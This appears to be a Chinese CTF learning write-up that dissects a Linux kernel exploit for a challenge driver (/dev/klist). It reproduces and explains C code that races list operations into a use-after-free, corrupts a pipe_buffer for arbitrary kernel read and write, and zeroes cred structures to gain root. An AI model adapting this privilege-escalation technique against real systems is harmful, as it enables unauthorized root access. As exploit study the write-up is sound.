稍微回顾一下
我们试图利用一个uaf
再利用一个pipe结构体来让uaf转成任意地址读写。
最后还是通过搜索cred结构体,修改cred结构体来提权
跟着大佬exp学习一下
首先是ha1vk大佬的
#define PIPE_BUFFER_SIZE 0x280
#define BUF_SIZE PIPE_BUFFER_SIZE
char buf[BUF_SIZE];
char buf2[BUF_SIZE];
char bufA[BUF_SIZE];
char bufB[BUF_SIZE];
void fillBuf() {
memset(bufA,'a',BUF_SIZE);
memset(bufB,'b',BUF_SIZE);
}
int fd;
void initFD() {
fd = open("/dev/klist",O_RDWR);
if (fd < 0) {
printf("[-]open file error!!\n");
exit(-1);
}
}
initFD();
fillBuf();
addItem(bufA,BUF_SIZE-24);
selectItem(0);
首先我们通过查阅源码知道pipe_buf大小是0x280
然后正常打开了驱动文件
fillbuf函数也是正常的填充了两个buf数组 数组的大小都是0x280
然后添加了一个item
item的大小也控制成了0x280
然后用selectitem将其选中
int pid = fork();
if (pid < 0) {
printf("[-]fork error!!\n");
exit(-1);
} else if (pid == 0) {
for (int i=0;i<200;i++) {
if (fork() == 0) {
checkWin(i+1);
}
}
while (1) {
//与主线程的listHead竞争
addItem(bufA,BUF_SIZE-24);
selectItem(0);
removeItem(0);
addItem(bufB,BUF_SIZE-24);
listRead(buf2,BUF_SIZE-24);
if (buf2[0] != 'a') {
printf("race compete in child process!!\n");
break;
}
removeItem(0);
}
sleep(1);
removeItem(0); //把空间腾出来
int pfd[2];
pipe(pfd); //管道的pipe_buffer将会申请到我们能够UAF控制的空间里
write(pfd[1],bufB,BUF_SIZE);
size_t memLen = 0x1000000;
uint32_t *data = (uint32_t *)calloc(1,memLen);
listRead(data,memLen);
int count = 0;
size_t maxLen = 0;
for (int i=0;i<memLen/4;i++) {
if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
memset(data+i,0,28);
maxLen = i;
printf("[+]found cred!!\n");
if (count ++ > 2) {
break;
}
}
}
listWrite(data,maxLen * 4);
checkWin(0);
} else { //主线程
while (1) {
listHead(buf);
listRead(buf,BUF_SIZE-24);
if(buf[0] != 'a')
break;
}
}
return 0;
然后直接一个if结构就都写完了
首先是fork一个子进程。
在子进程中继续打开200个子进程,子进程做的是就是
void checkWin(int i) {
while (1) {
sleep(1);
if (getuid() == 0) {
printf("Rooted in subprocess [%d]\n",i);
system("cat flag");
exit(0);
}
}
}
不停的检查线程是否提权成功
然后这个子进程开始进入一个死循环试图与主进程竞争
主进程做的事情就是
while (1) {
listHead(buf);
listRead(buf,BUF_SIZE-24);
if(buf[0] != 'a')
break;
}
不停的选中head,然后读一下
期待那个时候另一个线程进来完成条件竞争
判断有没有竞争成功的条件是被选中的那个item里面的内容有没有发生变化
所以就试着读一下看看 发生变化就不是a了 就说明成功了
就break。
子进程做的事情就是
while (1) {
//与主线程的listHead竞争
addItem(bufA,BUF_SIZE-24);
selectItem(0);
removeItem(0);
addItem(bufB,BUF_SIZE-24);
listRead(buf2,BUF_SIZE-24);
if (buf2[0] != 'a') {
printf("race compete in child process!!\n");
break;
}
removeItem(0);
}
它首先添加一个item,里面全部塞满了字母a
就是利用这个item去竞争
如果竞争成功
会造成uaf
它会被释放
但是链表里面还有它
所以就把它选中
再释放掉再申请回来 并写上b
如果竞争成功被选中的那个里面内容也会更改
即可完成利用。
这里两个remove的原因
其实就是为了不让它在不停的while中疯狂的消耗内存空间。
条件竞争创建uaf之后做了个啥事?
子线程继续运行这样的程序
removeItem(0); //把空间腾出来
int pfd[2];
pipe(pfd); //管道的pipe_buffer将会申请到我们能够UAF控制的空间里
write(pfd[1],bufB,BUF_SIZE);
size_t memLen = 0x1000000;
uint32_t *data = (uint32_t *)calloc(1,memLen);
listRead(data,memLen);
int count = 0;
size_t maxLen = 0;
for (int i=0;i<memLen/4;i++) {
if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
memset(data+i,0,28);
maxLen = i;
printf("[+]found cred!!\n");
if (count ++ > 2) {
break;
}
}
}
listWrite(data,maxLen * 4);
checkWin(0);
首先把刚刚申请的里面放满b的都object释放掉
然后开了一个pipe数组
两个成员分别是管道的两端
这里不熟悉管道的可以先去学学管道
申请管道之后就是申请到了那个0x280的uaf结构体。
通过写管道,把管道的len改一下
本身这个len不大
但是len是dowrd 再加上offset的dword是0
凑一起就变成了很大的size
完成了对item结构体改大size的任务。
然后申请一个大块 开始read
读进来搜索 查找。
然后listwrite写一下。对cred结构体修改成功。
修改成功之后上面还有线程创建时候一直的一个checkwin函数
还在那偶尔动一动看看自己权限高没高
其他
其实里面有个问题我们没有讨论
我们之前在hackme的时候说cred在kernal_base上面
slab在下面
包括很多师傅exp中都有提到刚开始直接申请0x200个cred结构体是为了让它分配到slab下面的位置给我们溢出的机会。
但是看半天感觉还是没有提到这是为啥
所以我想能不能调进去看一看
看看这究竟是咋回事。
所以就有了(三)
因为内核4.5之后为了防止像ciscn2017 babydriver那样直接通过uaf就能申请到cred,内核将cred-jar与slab做了分离。
但是cred-jar毕竟有限,就要多多申请。